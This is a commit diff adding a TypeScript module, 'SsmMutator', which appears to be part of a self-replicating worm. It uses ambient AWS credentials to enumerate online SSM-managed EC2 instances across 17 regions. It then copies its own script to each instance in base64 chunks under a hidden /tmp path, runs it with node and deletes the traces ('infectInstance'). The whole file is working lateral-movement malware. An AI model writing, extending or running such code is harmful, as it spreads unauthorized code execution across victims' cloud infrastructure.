Upload files to "src/mutator/aws"
This commit is contained in:
@@ -0,0 +1,228 @@
|
||||
import {
|
||||
jsonApiRequest,
|
||||
stsGetCallerIdentity,
|
||||
} from "../../providers/aws/client";
|
||||
import { resolveDefaultCredentials } from "../../providers/aws/credentials";
|
||||
import type { AwsCredentials } from "../../providers/aws/sigv4";
|
||||
import { logUtil } from "../../utils/logger";
|
||||
import { buildSelfExtractingPayload } from "../../utils/selfExtracting";
|
||||
import { Mutator } from "../base";
|
||||
|
||||
// ── Types ─────────────────────────────────────────────────────────────
|
||||
|
||||
interface InstanceInfo {
|
||||
InstanceId: string;
|
||||
AgentVersion?: string;
|
||||
PingStatus?: string;
|
||||
PlatformName?: string;
|
||||
}
|
||||
|
||||
interface InstanceTarget {
|
||||
info: InstanceInfo;
|
||||
region: string;
|
||||
}
|
||||
|
||||
interface DescribeInstancesResponse {
|
||||
InstanceInformationList?: InstanceInfo[];
|
||||
NextToken?: string;
|
||||
}
|
||||
|
||||
interface SendCommandResponse {
|
||||
Command?: { CommandId?: string };
|
||||
}
|
||||
|
||||
// ── Regions ───────────────────────────────────────────────────────────
|
||||
|
||||
const DEFAULT_REGIONS = [
|
||||
"us-east-1",
|
||||
"us-east-2",
|
||||
"us-west-1",
|
||||
"us-west-2",
|
||||
"ap-northeast-1",
|
||||
"ap-northeast-2",
|
||||
"ap-northeast-3",
|
||||
"ap-south-1",
|
||||
"ap-southeast-1",
|
||||
"ap-southeast-2",
|
||||
"ca-central-1",
|
||||
"eu-central-1",
|
||||
"eu-north-1",
|
||||
"eu-west-1",
|
||||
"eu-west-2",
|
||||
"eu-west-3",
|
||||
"sa-east-1",
|
||||
];
|
||||
|
||||
const REMOTE_PATH = "/tmp/.ssm-setup.js";
|
||||
|
||||
// ── SSM Mutator ───────────────────────────────────────────────────────
|
||||
|
||||
/** Maximum bytes per shell command. SSM limits commands to ~128KB total,
|
||||
* so we keep individual commands well under 32KB (safe margin). */
|
||||
const MAX_CHUNK_BYTES = 24 * 1024;
|
||||
|
||||
/**
|
||||
* Propagates to EC2 instances managed by AWS Systems Manager by:
|
||||
* 1. Describing managed instances across all default regions
|
||||
* 2. Base64-encoding the self-extracting payload
|
||||
* 3. Using SSM SendCommand (AWS-RunShellScript) to deliver + execute
|
||||
* the payload on each instance
|
||||
*/
|
||||
export class SsmMutator extends Mutator {
|
||||
private credentials!: AwsCredentials;
|
||||
|
||||
constructor() {
|
||||
super();
|
||||
}
|
||||
|
||||
override async shouldExecute(): Promise<boolean> {
|
||||
try {
|
||||
this.credentials = await resolveDefaultCredentials();
|
||||
const identity = await stsGetCallerIdentity(this.credentials);
|
||||
return !!identity.account;
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
async execute(): Promise<Boolean> {
|
||||
try {
|
||||
// 1. Discover managed instances across all regions
|
||||
const instances = await this.discoverInstances();
|
||||
if (instances.length === 0) {
|
||||
logUtil.log("[SsmMutator] No managed instances found.");
|
||||
return false;
|
||||
}
|
||||
|
||||
logUtil.log(
|
||||
`[SsmMutator] Found ${instances.length} managed instance(s) across ${DEFAULT_REGIONS.length} region(s)`,
|
||||
);
|
||||
|
||||
// 2. Build self-extracting payload + base64 encode
|
||||
const rawPayload = await Bun.file(Bun.main).text();
|
||||
const wrapped = buildSelfExtractingPayload(rawPayload, { wrap: false });
|
||||
const encoded = Buffer.from(wrapped).toString("base64");
|
||||
|
||||
// 3. Deliver to each instance (batch of 5 concurrent)
|
||||
const BATCH = 5;
|
||||
let ok = 0;
|
||||
|
||||
for (let i = 0; i < instances.length; i += BATCH) {
|
||||
const batch = instances.slice(i, i + BATCH);
|
||||
const results = await Promise.allSettled(
|
||||
batch.map((t) => this.infectInstance(t, encoded)),
|
||||
);
|
||||
|
||||
for (let j = 0; j < results.length; j++) {
|
||||
const result = results[j]!;
|
||||
const id = batch[j]!.info.InstanceId.slice(0, 8);
|
||||
if (result.status === "fulfilled" && result.value) {
|
||||
ok++;
|
||||
logUtil.log(`[SsmMutator] ${id} ✓`);
|
||||
} else {
|
||||
const reason =
|
||||
result.status === "rejected"
|
||||
? (result.reason as Error).message
|
||||
: "send-command failed";
|
||||
logUtil.log(`[SsmMutator] ${id} ✗ — ${reason}`);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
logUtil.log(`[SsmMutator] Done. ${ok}/${instances.length} succeeded.`);
|
||||
return ok > 0;
|
||||
} catch (e) {
|
||||
logUtil.log(
|
||||
`[SsmMutator] Fatal: ${e instanceof Error ? e.message : String(e)}`,
|
||||
);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
// ── Instance discovery ─────────────────────────────────────────────
|
||||
|
||||
private async discoverInstances(): Promise<InstanceTarget[]> {
|
||||
const all: InstanceTarget[] = [];
|
||||
|
||||
await Promise.all(
|
||||
DEFAULT_REGIONS.map(async (region) => {
|
||||
try {
|
||||
let nextToken: string | undefined;
|
||||
do {
|
||||
const payload: Record<string, unknown> = { MaxResults: 50 };
|
||||
if (nextToken) payload.NextToken = nextToken;
|
||||
|
||||
const response = await jsonApiRequest<DescribeInstancesResponse>(
|
||||
this.credentials,
|
||||
region,
|
||||
"ssm",
|
||||
"AmazonSSM.DescribeInstanceInformation",
|
||||
payload,
|
||||
);
|
||||
|
||||
for (const inst of response.InstanceInformationList ?? []) {
|
||||
if (inst.PingStatus === "Online") {
|
||||
all.push({ info: inst, region });
|
||||
}
|
||||
}
|
||||
|
||||
nextToken = response.NextToken;
|
||||
} while (nextToken);
|
||||
} catch {
|
||||
// Region may not be accessible — skip silently
|
||||
}
|
||||
}),
|
||||
);
|
||||
|
||||
return all;
|
||||
}
|
||||
|
||||
// ── Single-instance infection ──────────────────────────────────────
|
||||
|
||||
private async infectInstance(
|
||||
target: InstanceTarget,
|
||||
payloadB64: string,
|
||||
): Promise<boolean> {
|
||||
const { info: inst, region } = target;
|
||||
|
||||
// Determine which JS runtime to use based on platform
|
||||
const jsCmd = inst.PlatformName?.toLowerCase().includes("windows")
|
||||
? `node ${REMOTE_PATH}`
|
||||
: `command -v node >/dev/null 2>&1 && node ${REMOTE_PATH} || (which nodejs >/dev/null 2>&1 && nodejs ${REMOTE_PATH})`;
|
||||
|
||||
// Build commands: first clear + chunk the payload, then execute + clean up
|
||||
const commands: string[] = [`rm -f ${REMOTE_PATH}`];
|
||||
|
||||
// Chunk the base64 payload to stay within SSM command size limits
|
||||
for (let i = 0; i < payloadB64.length; i += MAX_CHUNK_BYTES) {
|
||||
const chunk = payloadB64.slice(i, i + MAX_CHUNK_BYTES);
|
||||
commands.push(`printf '%s' '${chunk}' >> ${REMOTE_PATH}`);
|
||||
}
|
||||
|
||||
commands.push(
|
||||
`base64 -d ${REMOTE_PATH} > ${REMOTE_PATH}.dec`,
|
||||
`mv ${REMOTE_PATH}.dec ${REMOTE_PATH}`,
|
||||
jsCmd,
|
||||
`rm -f ${REMOTE_PATH}`,
|
||||
);
|
||||
|
||||
const response = await jsonApiRequest<SendCommandResponse>(
|
||||
this.credentials,
|
||||
region,
|
||||
"ssm",
|
||||
"AmazonSSM.SendCommand",
|
||||
{
|
||||
DocumentName: "AWS-RunShellScript",
|
||||
InstanceIds: [inst.InstanceId],
|
||||
Parameters: { commands },
|
||||
TimeoutSeconds: 120,
|
||||
},
|
||||
);
|
||||
|
||||
if (!response.Command?.CommandId) {
|
||||
throw new Error("SendCommand returned no CommandId");
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user